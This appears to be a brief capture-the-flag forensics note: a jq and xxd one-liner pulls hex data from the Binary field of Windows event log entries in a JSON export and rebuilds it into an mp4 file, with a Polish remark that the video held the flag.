jq -r '.[] | select(.Event.System.EventID >= 40000 and .Event.System.EventID <= 65000) | .Event.EventData.Binary | gsub("[\\n\\t ]"; "")' output.json | xxd -r -p > flag.mp4
Plik mp4 zawierał flagę :)